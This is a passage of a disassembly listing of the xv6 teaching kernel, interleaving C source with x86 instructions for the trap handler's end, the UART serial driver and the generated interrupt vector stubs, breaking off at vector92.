801057f3: 0f 84 fb fe ff ff je 801056f4 <trap+0x114>
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
exit();
}
801057f9: 8b 5d f4 mov -0xc(%ebp),%ebx
801057fc: 8b 75 f8 mov -0x8(%ebp),%esi
801057ff: 8b 7d fc mov -0x4(%ebp),%edi
80105802: 89 ec mov %ebp,%esp
80105804: 5d pop %ebp
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
exit();
80105805: e9 26 e3 ff ff jmp 80103b30 <exit>
8010580a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
exit();
80105810: e8 1b e3 ff ff call 80103b30 <exit>
80105815: e9 9b fe ff ff jmp 801056b5 <trap+0xd5>
8010581a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(myproc()->killed)
exit();
80105820: e8 0b e3 ff ff call 80103b30 <exit>
80105825: eb b5 jmp 801057dc <trap+0x1fc>
80105827: 0f 20 d7 mov %cr2,%edi
//PAGEBREAK: 13
default:
if(myproc() == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
8010582a: 8b 73 38 mov 0x38(%ebx),%esi
8010582d: 8d 76 00 lea 0x0(%esi),%esi
80105830: e8 db de ff ff call 80103710 <cpuid>
80105835: 89 7c 24 10 mov %edi,0x10(%esp)
80105839: 89 74 24 0c mov %esi,0xc(%esp)
8010583d: 89 44 24 08 mov %eax,0x8(%esp)
80105841: 8b 43 30 mov 0x30(%ebx),%eax
80105844: c7 04 24 e8 74 10 80 movl $0x801074e8,(%esp)
8010584b: 89 44 24 04 mov %eax,0x4(%esp)
8010584f: e8 fc ad ff ff call 80100650 <cprintf>
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
80105854: c7 04 24 be 74 10 80 movl $0x801074be,(%esp)
8010585b: e8 10 ab ff ff call 80100370 <panic>
80105860 <uartgetc>:
}
static int
uartgetc(void)
{
if(!uart)
80105860: a1 a4 a5 10 80 mov 0x8010a5a4,%eax
return -1;
80105865: b9 ff ff ff ff mov $0xffffffff,%ecx
outb(COM1+0, c);
}
static int
uartgetc(void)
{
8010586a: 55 push %ebp
8010586b: 89 e5 mov %esp,%ebp
if(!uart)
8010586d: 85 c0 test %eax,%eax
8010586f: 74 10 je 80105881 <uartgetc+0x21>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105871: ba fd 03 00 00 mov $0x3fd,%edx
80105876: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105877: a8 01 test $0x1,%al
80105879: 74 06 je 80105881 <uartgetc+0x21>
8010587b: b2 f8 mov $0xf8,%dl
8010587d: ec in (%dx),%al
return -1;
return inb(COM1+0);
8010587e: 0f b6 c8 movzbl %al,%ecx
}
80105881: 89 c8 mov %ecx,%eax
80105883: 5d pop %ebp
80105884: c3 ret
80105885: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105889: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105890 <uartputc>:
uartputc(*p);
}
void
uartputc(int c)
{
80105890: 55 push %ebp
80105891: 89 e5 mov %esp,%ebp
80105893: 56 push %esi
80105894: be fd 03 00 00 mov $0x3fd,%esi
80105899: 53 push %ebx
int i;
if(!uart)
8010589a: bb 80 00 00 00 mov $0x80,%ebx
uartputc(*p);
}
void
uartputc(int c)
{
8010589f: 83 ec 10 sub $0x10,%esp
int i;
if(!uart)
801058a2: 8b 15 a4 a5 10 80 mov 0x8010a5a4,%edx
801058a8: 85 d2 test %edx,%edx
801058aa: 75 15 jne 801058c1 <uartputc+0x31>
801058ac: eb 23 jmp 801058d1 <uartputc+0x41>
801058ae: 66 90 xchg %ax,%ax
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
801058b0: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
801058b7: e8 74 ce ff ff call 80102730 <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
801058bc: 83 eb 01 sub $0x1,%ebx
801058bf: 74 07 je 801058c8 <uartputc+0x38>
801058c1: 89 f2 mov %esi,%edx
801058c3: ec in (%dx),%al
801058c4: a8 20 test $0x20,%al
801058c6: 74 e8 je 801058b0 <uartputc+0x20>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801058c8: ba f8 03 00 00 mov $0x3f8,%edx
801058cd: 8b 45 08 mov 0x8(%ebp),%eax
801058d0: ee out %al,(%dx)
microdelay(10);
outb(COM1+0, c);
}
801058d1: 83 c4 10 add $0x10,%esp
801058d4: 5b pop %ebx
801058d5: 5e pop %esi
801058d6: 5d pop %ebp
801058d7: c3 ret
801058d8: 90 nop
801058d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801058e0 <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
801058e0: 55 push %ebp
801058e1: 31 c9 xor %ecx,%ecx
801058e3: 89 e5 mov %esp,%ebp
801058e5: 89 c8 mov %ecx,%eax
801058e7: 57 push %edi
801058e8: bf fa 03 00 00 mov $0x3fa,%edi
801058ed: 56 push %esi
801058ee: 89 fa mov %edi,%edx
801058f0: 53 push %ebx
801058f1: 83 ec 1c sub $0x1c,%esp
801058f4: ee out %al,(%dx)
801058f5: bb fb 03 00 00 mov $0x3fb,%ebx
801058fa: b8 80 ff ff ff mov $0xffffff80,%eax
801058ff: 89 da mov %ebx,%edx
80105901: ee out %al,(%dx)
80105902: b8 0c 00 00 00 mov $0xc,%eax
80105907: b2 f8 mov $0xf8,%dl
80105909: ee out %al,(%dx)
8010590a: be f9 03 00 00 mov $0x3f9,%esi
8010590f: 89 c8 mov %ecx,%eax
80105911: 89 f2 mov %esi,%edx
80105913: ee out %al,(%dx)
80105914: b8 03 00 00 00 mov $0x3,%eax
80105919: 89 da mov %ebx,%edx
8010591b: ee out %al,(%dx)
8010591c: b2 fc mov $0xfc,%dl
8010591e: 89 c8 mov %ecx,%eax
80105920: ee out %al,(%dx)
80105921: b8 01 00 00 00 mov $0x1,%eax
80105926: 89 f2 mov %esi,%edx
80105928: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105929: b2 fd mov $0xfd,%dl
8010592b: ec in (%dx),%al
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
outb(COM1+4, 0);
outb(COM1+1, 0x01); // Enable receive interrupts.
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
8010592c: 3c ff cmp $0xff,%al
8010592e: 74 45 je 80105975 <uartinit+0x95>
return;
uart = 1;
80105930: c7 05 a4 a5 10 80 01 movl $0x1,0x8010a5a4
80105937: 00 00 00
8010593a: 89 fa mov %edi,%edx
8010593c: ec in (%dx),%al
8010593d: b2 f8 mov $0xf8,%dl
8010593f: ec in (%dx),%al
inb(COM1+2);
inb(COM1+0);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105940: bb e0 75 10 80 mov $0x801075e0,%ebx
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
inb(COM1+0);
ioapicenable(IRQ_COM1, 0);
80105945: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010594c: 00
8010594d: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80105954: e8 a7 c9 ff ff call 80102300 <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105959: b8 78 00 00 00 mov $0x78,%eax
8010595e: 66 90 xchg %ax,%ax
uartputc(*p);
80105960: 0f be c0 movsbl %al,%eax
inb(COM1+2);
inb(COM1+0);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80105963: 83 c3 01 add $0x1,%ebx
uartputc(*p);
80105966: 89 04 24 mov %eax,(%esp)
80105969: e8 22 ff ff ff call 80105890 <uartputc>
inb(COM1+2);
inb(COM1+0);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
8010596e: 0f b6 03 movzbl (%ebx),%eax
80105971: 84 c0 test %al,%al
80105973: 75 eb jne 80105960 <uartinit+0x80>
uartputc(*p);
}
80105975: 83 c4 1c add $0x1c,%esp
80105978: 5b pop %ebx
80105979: 5e pop %esi
8010597a: 5f pop %edi
8010597b: 5d pop %ebp
8010597c: c3 ret
8010597d: 8d 76 00 lea 0x0(%esi),%esi
80105980 <uartintr>:
return inb(COM1+0);
}
void
uartintr(void)
{
80105980: 55 push %ebp
80105981: 89 e5 mov %esp,%ebp
80105983: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80105986: c7 04 24 60 58 10 80 movl $0x80105860,(%esp)
8010598d: e8 2e ae ff ff call 801007c0 <consoleintr>
}
80105992: c9 leave
80105993: c3 ret
80105994 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80105994: 6a 00 push $0x0
pushl $0
80105996: 6a 00 push $0x0
jmp alltraps
80105998: e9 53 fb ff ff jmp 801054f0 <alltraps>
8010599d <vector1>:
.globl vector1
vector1:
pushl $0
8010599d: 6a 00 push $0x0
pushl $1
8010599f: 6a 01 push $0x1
jmp alltraps
801059a1: e9 4a fb ff ff jmp 801054f0 <alltraps>
801059a6 <vector2>:
.globl vector2
vector2:
pushl $0
801059a6: 6a 00 push $0x0
pushl $2
801059a8: 6a 02 push $0x2
jmp alltraps
801059aa: e9 41 fb ff ff jmp 801054f0 <alltraps>
801059af <vector3>:
.globl vector3
vector3:
pushl $0
801059af: 6a 00 push $0x0
pushl $3
801059b1: 6a 03 push $0x3
jmp alltraps
801059b3: e9 38 fb ff ff jmp 801054f0 <alltraps>
801059b8 <vector4>:
.globl vector4
vector4:
pushl $0
801059b8: 6a 00 push $0x0
pushl $4
801059ba: 6a 04 push $0x4
jmp alltraps
801059bc: e9 2f fb ff ff jmp 801054f0 <alltraps>
801059c1 <vector5>:
.globl vector5
vector5:
pushl $0
801059c1: 6a 00 push $0x0
pushl $5
801059c3: 6a 05 push $0x5
jmp alltraps
801059c5: e9 26 fb ff ff jmp 801054f0 <alltraps>
801059ca <vector6>:
.globl vector6
vector6:
pushl $0
801059ca: 6a 00 push $0x0
pushl $6
801059cc: 6a 06 push $0x6
jmp alltraps
801059ce: e9 1d fb ff ff jmp 801054f0 <alltraps>
801059d3 <vector7>:
.globl vector7
vector7:
pushl $0
801059d3: 6a 00 push $0x0
pushl $7
801059d5: 6a 07 push $0x7
jmp alltraps
801059d7: e9 14 fb ff ff jmp 801054f0 <alltraps>
801059dc <vector8>:
.globl vector8
vector8:
pushl $8
801059dc: 6a 08 push $0x8
jmp alltraps
801059de: e9 0d fb ff ff jmp 801054f0 <alltraps>
801059e3 <vector9>:
.globl vector9
vector9:
pushl $0
801059e3: 6a 00 push $0x0
pushl $9
801059e5: 6a 09 push $0x9
jmp alltraps
801059e7: e9 04 fb ff ff jmp 801054f0 <alltraps>
801059ec <vector10>:
.globl vector10
vector10:
pushl $10
801059ec: 6a 0a push $0xa
jmp alltraps
801059ee: e9 fd fa ff ff jmp 801054f0 <alltraps>
801059f3 <vector11>:
.globl vector11
vector11:
pushl $11
801059f3: 6a 0b push $0xb
jmp alltraps
801059f5: e9 f6 fa ff ff jmp 801054f0 <alltraps>
801059fa <vector12>:
.globl vector12
vector12:
pushl $12
801059fa: 6a 0c push $0xc
jmp alltraps
801059fc: e9 ef fa ff ff jmp 801054f0 <alltraps>
80105a01 <vector13>:
.globl vector13
vector13:
pushl $13
80105a01: 6a 0d push $0xd
jmp alltraps
80105a03: e9 e8 fa ff ff jmp 801054f0 <alltraps>
80105a08 <vector14>:
.globl vector14
vector14:
pushl $14
80105a08: 6a 0e push $0xe
jmp alltraps
80105a0a: e9 e1 fa ff ff jmp 801054f0 <alltraps>
80105a0f <vector15>:
.globl vector15
vector15:
pushl $0
80105a0f: 6a 00 push $0x0
pushl $15
80105a11: 6a 0f push $0xf
jmp alltraps
80105a13: e9 d8 fa ff ff jmp 801054f0 <alltraps>
80105a18 <vector16>:
.globl vector16
vector16:
pushl $0
80105a18: 6a 00 push $0x0
pushl $16
80105a1a: 6a 10 push $0x10
jmp alltraps
80105a1c: e9 cf fa ff ff jmp 801054f0 <alltraps>
80105a21 <vector17>:
.globl vector17
vector17:
pushl $17
80105a21: 6a 11 push $0x11
jmp alltraps
80105a23: e9 c8 fa ff ff jmp 801054f0 <alltraps>
80105a28 <vector18>:
.globl vector18
vector18:
pushl $0
80105a28: 6a 00 push $0x0
pushl $18
80105a2a: 6a 12 push $0x12
jmp alltraps
80105a2c: e9 bf fa ff ff jmp 801054f0 <alltraps>
80105a31 <vector19>:
.globl vector19
vector19:
pushl $0
80105a31: 6a 00 push $0x0
pushl $19
80105a33: 6a 13 push $0x13
jmp alltraps
80105a35: e9 b6 fa ff ff jmp 801054f0 <alltraps>
80105a3a <vector20>:
.globl vector20
vector20:
pushl $0
80105a3a: 6a 00 push $0x0
pushl $20
80105a3c: 6a 14 push $0x14
jmp alltraps
80105a3e: e9 ad fa ff ff jmp 801054f0 <alltraps>
80105a43 <vector21>:
.globl vector21
vector21:
pushl $0
80105a43: 6a 00 push $0x0
pushl $21
80105a45: 6a 15 push $0x15
jmp alltraps
80105a47: e9 a4 fa ff ff jmp 801054f0 <alltraps>
80105a4c <vector22>:
.globl vector22
vector22:
pushl $0
80105a4c: 6a 00 push $0x0
pushl $22
80105a4e: 6a 16 push $0x16
jmp alltraps
80105a50: e9 9b fa ff ff jmp 801054f0 <alltraps>
80105a55 <vector23>:
.globl vector23
vector23:
pushl $0
80105a55: 6a 00 push $0x0
pushl $23
80105a57: 6a 17 push $0x17
jmp alltraps
80105a59: e9 92 fa ff ff jmp 801054f0 <alltraps>
80105a5e <vector24>:
.globl vector24
vector24:
pushl $0
80105a5e: 6a 00 push $0x0
pushl $24
80105a60: 6a 18 push $0x18
jmp alltraps
80105a62: e9 89 fa ff ff jmp 801054f0 <alltraps>
80105a67 <vector25>:
.globl vector25
vector25:
pushl $0
80105a67: 6a 00 push $0x0
pushl $25
80105a69: 6a 19 push $0x19
jmp alltraps
80105a6b: e9 80 fa ff ff jmp 801054f0 <alltraps>
80105a70 <vector26>:
.globl vector26
vector26:
pushl $0
80105a70: 6a 00 push $0x0
pushl $26
80105a72: 6a 1a push $0x1a
jmp alltraps
80105a74: e9 77 fa ff ff jmp 801054f0 <alltraps>
80105a79 <vector27>:
.globl vector27
vector27:
pushl $0
80105a79: 6a 00 push $0x0
pushl $27
80105a7b: 6a 1b push $0x1b
jmp alltraps
80105a7d: e9 6e fa ff ff jmp 801054f0 <alltraps>
80105a82 <vector28>:
.globl vector28
vector28:
pushl $0
80105a82: 6a 00 push $0x0
pushl $28
80105a84: 6a 1c push $0x1c
jmp alltraps
80105a86: e9 65 fa ff ff jmp 801054f0 <alltraps>
80105a8b <vector29>:
.globl vector29
vector29:
pushl $0
80105a8b: 6a 00 push $0x0
pushl $29
80105a8d: 6a 1d push $0x1d
jmp alltraps
80105a8f: e9 5c fa ff ff jmp 801054f0 <alltraps>
80105a94 <vector30>:
.globl vector30
vector30:
pushl $0
80105a94: 6a 00 push $0x0
pushl $30
80105a96: 6a 1e push $0x1e
jmp alltraps
80105a98: e9 53 fa ff ff jmp 801054f0 <alltraps>
80105a9d <vector31>:
.globl vector31
vector31:
pushl $0
80105a9d: 6a 00 push $0x0
pushl $31
80105a9f: 6a 1f push $0x1f
jmp alltraps
80105aa1: e9 4a fa ff ff jmp 801054f0 <alltraps>
80105aa6 <vector32>:
.globl vector32
vector32:
pushl $0
80105aa6: 6a 00 push $0x0
pushl $32
80105aa8: 6a 20 push $0x20
jmp alltraps
80105aaa: e9 41 fa ff ff jmp 801054f0 <alltraps>
80105aaf <vector33>:
.globl vector33
vector33:
pushl $0
80105aaf: 6a 00 push $0x0
pushl $33
80105ab1: 6a 21 push $0x21
jmp alltraps
80105ab3: e9 38 fa ff ff jmp 801054f0 <alltraps>
80105ab8 <vector34>:
.globl vector34
vector34:
pushl $0
80105ab8: 6a 00 push $0x0
pushl $34
80105aba: 6a 22 push $0x22
jmp alltraps
80105abc: e9 2f fa ff ff jmp 801054f0 <alltraps>
80105ac1 <vector35>:
.globl vector35
vector35:
pushl $0
80105ac1: 6a 00 push $0x0
pushl $35
80105ac3: 6a 23 push $0x23
jmp alltraps
80105ac5: e9 26 fa ff ff jmp 801054f0 <alltraps>
80105aca <vector36>:
.globl vector36
vector36:
pushl $0
80105aca: 6a 00 push $0x0
pushl $36
80105acc: 6a 24 push $0x24
jmp alltraps
80105ace: e9 1d fa ff ff jmp 801054f0 <alltraps>
80105ad3 <vector37>:
.globl vector37
vector37:
pushl $0
80105ad3: 6a 00 push $0x0
pushl $37
80105ad5: 6a 25 push $0x25
jmp alltraps
80105ad7: e9 14 fa ff ff jmp 801054f0 <alltraps>
80105adc <vector38>:
.globl vector38
vector38:
pushl $0
80105adc: 6a 00 push $0x0
pushl $38
80105ade: 6a 26 push $0x26
jmp alltraps
80105ae0: e9 0b fa ff ff jmp 801054f0 <alltraps>
80105ae5 <vector39>:
.globl vector39
vector39:
pushl $0
80105ae5: 6a 00 push $0x0
pushl $39
80105ae7: 6a 27 push $0x27
jmp alltraps
80105ae9: e9 02 fa ff ff jmp 801054f0 <alltraps>
80105aee <vector40>:
.globl vector40
vector40:
pushl $0
80105aee: 6a 00 push $0x0
pushl $40
80105af0: 6a 28 push $0x28
jmp alltraps
80105af2: e9 f9 f9 ff ff jmp 801054f0 <alltraps>
80105af7 <vector41>:
.globl vector41
vector41:
pushl $0
80105af7: 6a 00 push $0x0
pushl $41
80105af9: 6a 29 push $0x29
jmp alltraps
80105afb: e9 f0 f9 ff ff jmp 801054f0 <alltraps>
80105b00 <vector42>:
.globl vector42
vector42:
pushl $0
80105b00: 6a 00 push $0x0
pushl $42
80105b02: 6a 2a push $0x2a
jmp alltraps
80105b04: e9 e7 f9 ff ff jmp 801054f0 <alltraps>
80105b09 <vector43>:
.globl vector43
vector43:
pushl $0
80105b09: 6a 00 push $0x0
pushl $43
80105b0b: 6a 2b push $0x2b
jmp alltraps
80105b0d: e9 de f9 ff ff jmp 801054f0 <alltraps>
80105b12 <vector44>:
.globl vector44
vector44:
pushl $0
80105b12: 6a 00 push $0x0
pushl $44
80105b14: 6a 2c push $0x2c
jmp alltraps
80105b16: e9 d5 f9 ff ff jmp 801054f0 <alltraps>
80105b1b <vector45>:
.globl vector45
vector45:
pushl $0
80105b1b: 6a 00 push $0x0
pushl $45
80105b1d: 6a 2d push $0x2d
jmp alltraps
80105b1f: e9 cc f9 ff ff jmp 801054f0 <alltraps>
80105b24 <vector46>:
.globl vector46
vector46:
pushl $0
80105b24: 6a 00 push $0x0
pushl $46
80105b26: 6a 2e push $0x2e
jmp alltraps
80105b28: e9 c3 f9 ff ff jmp 801054f0 <alltraps>
80105b2d <vector47>:
.globl vector47
vector47:
pushl $0
80105b2d: 6a 00 push $0x0
pushl $47
80105b2f: 6a 2f push $0x2f
jmp alltraps
80105b31: e9 ba f9 ff ff jmp 801054f0 <alltraps>
80105b36 <vector48>:
.globl vector48
vector48:
pushl $0
80105b36: 6a 00 push $0x0
pushl $48
80105b38: 6a 30 push $0x30
jmp alltraps
80105b3a: e9 b1 f9 ff ff jmp 801054f0 <alltraps>
80105b3f <vector49>:
.globl vector49
vector49:
pushl $0
80105b3f: 6a 00 push $0x0
pushl $49
80105b41: 6a 31 push $0x31
jmp alltraps
80105b43: e9 a8 f9 ff ff jmp 801054f0 <alltraps>
80105b48 <vector50>:
.globl vector50
vector50:
pushl $0
80105b48: 6a 00 push $0x0
pushl $50
80105b4a: 6a 32 push $0x32
jmp alltraps
80105b4c: e9 9f f9 ff ff jmp 801054f0 <alltraps>
80105b51 <vector51>:
.globl vector51
vector51:
pushl $0
80105b51: 6a 00 push $0x0
pushl $51
80105b53: 6a 33 push $0x33
jmp alltraps
80105b55: e9 96 f9 ff ff jmp 801054f0 <alltraps>
80105b5a <vector52>:
.globl vector52
vector52:
pushl $0
80105b5a: 6a 00 push $0x0
pushl $52
80105b5c: 6a 34 push $0x34
jmp alltraps
80105b5e: e9 8d f9 ff ff jmp 801054f0 <alltraps>
80105b63 <vector53>:
.globl vector53
vector53:
pushl $0
80105b63: 6a 00 push $0x0
pushl $53
80105b65: 6a 35 push $0x35
jmp alltraps
80105b67: e9 84 f9 ff ff jmp 801054f0 <alltraps>
80105b6c <vector54>:
.globl vector54
vector54:
pushl $0
80105b6c: 6a 00 push $0x0
pushl $54
80105b6e: 6a 36 push $0x36
jmp alltraps
80105b70: e9 7b f9 ff ff jmp 801054f0 <alltraps>
80105b75 <vector55>:
.globl vector55
vector55:
pushl $0
80105b75: 6a 00 push $0x0
pushl $55
80105b77: 6a 37 push $0x37
jmp alltraps
80105b79: e9 72 f9 ff ff jmp 801054f0 <alltraps>
80105b7e <vector56>:
.globl vector56
vector56:
pushl $0
80105b7e: 6a 00 push $0x0
pushl $56
80105b80: 6a 38 push $0x38
jmp alltraps
80105b82: e9 69 f9 ff ff jmp 801054f0 <alltraps>
80105b87 <vector57>:
.globl vector57
vector57:
pushl $0
80105b87: 6a 00 push $0x0
pushl $57
80105b89: 6a 39 push $0x39
jmp alltraps
80105b8b: e9 60 f9 ff ff jmp 801054f0 <alltraps>
80105b90 <vector58>:
.globl vector58
vector58:
pushl $0
80105b90: 6a 00 push $0x0
pushl $58
80105b92: 6a 3a push $0x3a
jmp alltraps
80105b94: e9 57 f9 ff ff jmp 801054f0 <alltraps>
80105b99 <vector59>:
.globl vector59
vector59:
pushl $0
80105b99: 6a 00 push $0x0
pushl $59
80105b9b: 6a 3b push $0x3b
jmp alltraps
80105b9d: e9 4e f9 ff ff jmp 801054f0 <alltraps>
80105ba2 <vector60>:
.globl vector60
vector60:
pushl $0
80105ba2: 6a 00 push $0x0
pushl $60
80105ba4: 6a 3c push $0x3c
jmp alltraps
80105ba6: e9 45 f9 ff ff jmp 801054f0 <alltraps>
80105bab <vector61>:
.globl vector61
vector61:
pushl $0
80105bab: 6a 00 push $0x0
pushl $61
80105bad: 6a 3d push $0x3d
jmp alltraps
80105baf: e9 3c f9 ff ff jmp 801054f0 <alltraps>
80105bb4 <vector62>:
.globl vector62
vector62:
pushl $0
80105bb4: 6a 00 push $0x0
pushl $62
80105bb6: 6a 3e push $0x3e
jmp alltraps
80105bb8: e9 33 f9 ff ff jmp 801054f0 <alltraps>
80105bbd <vector63>:
.globl vector63
vector63:
pushl $0
80105bbd: 6a 00 push $0x0
pushl $63
80105bbf: 6a 3f push $0x3f
jmp alltraps
80105bc1: e9 2a f9 ff ff jmp 801054f0 <alltraps>
80105bc6 <vector64>:
.globl vector64
vector64:
pushl $0
80105bc6: 6a 00 push $0x0
pushl $64
80105bc8: 6a 40 push $0x40
jmp alltraps
80105bca: e9 21 f9 ff ff jmp 801054f0 <alltraps>
80105bcf <vector65>:
.globl vector65
vector65:
pushl $0
80105bcf: 6a 00 push $0x0
pushl $65
80105bd1: 6a 41 push $0x41
jmp alltraps
80105bd3: e9 18 f9 ff ff jmp 801054f0 <alltraps>
80105bd8 <vector66>:
.globl vector66
vector66:
pushl $0
80105bd8: 6a 00 push $0x0
pushl $66
80105bda: 6a 42 push $0x42
jmp alltraps
80105bdc: e9 0f f9 ff ff jmp 801054f0 <alltraps>
80105be1 <vector67>:
.globl vector67
vector67:
pushl $0
80105be1: 6a 00 push $0x0
pushl $67
80105be3: 6a 43 push $0x43
jmp alltraps
80105be5: e9 06 f9 ff ff jmp 801054f0 <alltraps>
80105bea <vector68>:
.globl vector68
vector68:
pushl $0
80105bea: 6a 00 push $0x0
pushl $68
80105bec: 6a 44 push $0x44
jmp alltraps
80105bee: e9 fd f8 ff ff jmp 801054f0 <alltraps>
80105bf3 <vector69>:
.globl vector69
vector69:
pushl $0
80105bf3: 6a 00 push $0x0
pushl $69
80105bf5: 6a 45 push $0x45
jmp alltraps
80105bf7: e9 f4 f8 ff ff jmp 801054f0 <alltraps>
80105bfc <vector70>:
.globl vector70
vector70:
pushl $0
80105bfc: 6a 00 push $0x0
pushl $70
80105bfe: 6a 46 push $0x46
jmp alltraps
80105c00: e9 eb f8 ff ff jmp 801054f0 <alltraps>
80105c05 <vector71>:
.globl vector71
vector71:
pushl $0
80105c05: 6a 00 push $0x0
pushl $71
80105c07: 6a 47 push $0x47
jmp alltraps
80105c09: e9 e2 f8 ff ff jmp 801054f0 <alltraps>
80105c0e <vector72>:
.globl vector72
vector72:
pushl $0
80105c0e: 6a 00 push $0x0
pushl $72
80105c10: 6a 48 push $0x48
jmp alltraps
80105c12: e9 d9 f8 ff ff jmp 801054f0 <alltraps>
80105c17 <vector73>:
.globl vector73
vector73:
pushl $0
80105c17: 6a 00 push $0x0
pushl $73
80105c19: 6a 49 push $0x49
jmp alltraps
80105c1b: e9 d0 f8 ff ff jmp 801054f0 <alltraps>
80105c20 <vector74>:
.globl vector74
vector74:
pushl $0
80105c20: 6a 00 push $0x0
pushl $74
80105c22: 6a 4a push $0x4a
jmp alltraps
80105c24: e9 c7 f8 ff ff jmp 801054f0 <alltraps>
80105c29 <vector75>:
.globl vector75
vector75:
pushl $0
80105c29: 6a 00 push $0x0
pushl $75
80105c2b: 6a 4b push $0x4b
jmp alltraps
80105c2d: e9 be f8 ff ff jmp 801054f0 <alltraps>
80105c32 <vector76>:
.globl vector76
vector76:
pushl $0
80105c32: 6a 00 push $0x0
pushl $76
80105c34: 6a 4c push $0x4c
jmp alltraps
80105c36: e9 b5 f8 ff ff jmp 801054f0 <alltraps>
80105c3b <vector77>:
.globl vector77
vector77:
pushl $0
80105c3b: 6a 00 push $0x0
pushl $77
80105c3d: 6a 4d push $0x4d
jmp alltraps
80105c3f: e9 ac f8 ff ff jmp 801054f0 <alltraps>
80105c44 <vector78>:
.globl vector78
vector78:
pushl $0
80105c44: 6a 00 push $0x0
pushl $78
80105c46: 6a 4e push $0x4e
jmp alltraps
80105c48: e9 a3 f8 ff ff jmp 801054f0 <alltraps>
80105c4d <vector79>:
.globl vector79
vector79:
pushl $0
80105c4d: 6a 00 push $0x0
pushl $79
80105c4f: 6a 4f push $0x4f
jmp alltraps
80105c51: e9 9a f8 ff ff jmp 801054f0 <alltraps>
80105c56 <vector80>:
.globl vector80
vector80:
pushl $0
80105c56: 6a 00 push $0x0
pushl $80
80105c58: 6a 50 push $0x50
jmp alltraps
80105c5a: e9 91 f8 ff ff jmp 801054f0 <alltraps>
80105c5f <vector81>:
.globl vector81
vector81:
pushl $0
80105c5f: 6a 00 push $0x0
pushl $81
80105c61: 6a 51 push $0x51
jmp alltraps
80105c63: e9 88 f8 ff ff jmp 801054f0 <alltraps>
80105c68 <vector82>:
.globl vector82
vector82:
pushl $0
80105c68: 6a 00 push $0x0
pushl $82
80105c6a: 6a 52 push $0x52
jmp alltraps
80105c6c: e9 7f f8 ff ff jmp 801054f0 <alltraps>
80105c71 <vector83>:
.globl vector83
vector83:
pushl $0
80105c71: 6a 00 push $0x0
pushl $83
80105c73: 6a 53 push $0x53
jmp alltraps
80105c75: e9 76 f8 ff ff jmp 801054f0 <alltraps>
80105c7a <vector84>:
.globl vector84
vector84:
pushl $0
80105c7a: 6a 00 push $0x0
pushl $84
80105c7c: 6a 54 push $0x54
jmp alltraps
80105c7e: e9 6d f8 ff ff jmp 801054f0 <alltraps>
80105c83 <vector85>:
.globl vector85
vector85:
pushl $0
80105c83: 6a 00 push $0x0
pushl $85
80105c85: 6a 55 push $0x55
jmp alltraps
80105c87: e9 64 f8 ff ff jmp 801054f0 <alltraps>
80105c8c <vector86>:
.globl vector86
vector86:
pushl $0
80105c8c: 6a 00 push $0x0
pushl $86
80105c8e: 6a 56 push $0x56
jmp alltraps
80105c90: e9 5b f8 ff ff jmp 801054f0 <alltraps>
80105c95 <vector87>:
.globl vector87
vector87:
pushl $0
80105c95: 6a 00 push $0x0
pushl $87
80105c97: 6a 57 push $0x57
jmp alltraps
80105c99: e9 52 f8 ff ff jmp 801054f0 <alltraps>
80105c9e <vector88>:
.globl vector88
vector88:
pushl $0
80105c9e: 6a 00 push $0x0
pushl $88
80105ca0: 6a 58 push $0x58
jmp alltraps
80105ca2: e9 49 f8 ff ff jmp 801054f0 <alltraps>
80105ca7 <vector89>:
.globl vector89
vector89:
pushl $0
80105ca7: 6a 00 push $0x0
pushl $89
80105ca9: 6a 59 push $0x59
jmp alltraps
80105cab: e9 40 f8 ff ff jmp 801054f0 <alltraps>
80105cb0 <vector90>:
.globl vector90
vector90:
pushl $0
80105cb0: 6a 00 push $0x0
pushl $90
80105cb2: 6a 5a push $0x5a
jmp alltraps
80105cb4: e9 37 f8 ff ff jmp 801054f0 <alltraps>
80105cb9 <vector91>:
.globl vector91
vector91:
pushl $0
80105cb9: 6a 00 push $0x0
pushl $91
80105cbb: 6a 5b push $0x5b
jmp alltraps
80105cbd: e9 2e f8 ff ff jmp 801054f0 <alltraps>
80105cc2 <vector92>:
.globl vector92
vector92:
pushl $0
80105cc2: 6a 00 push $0x0
pushl $92
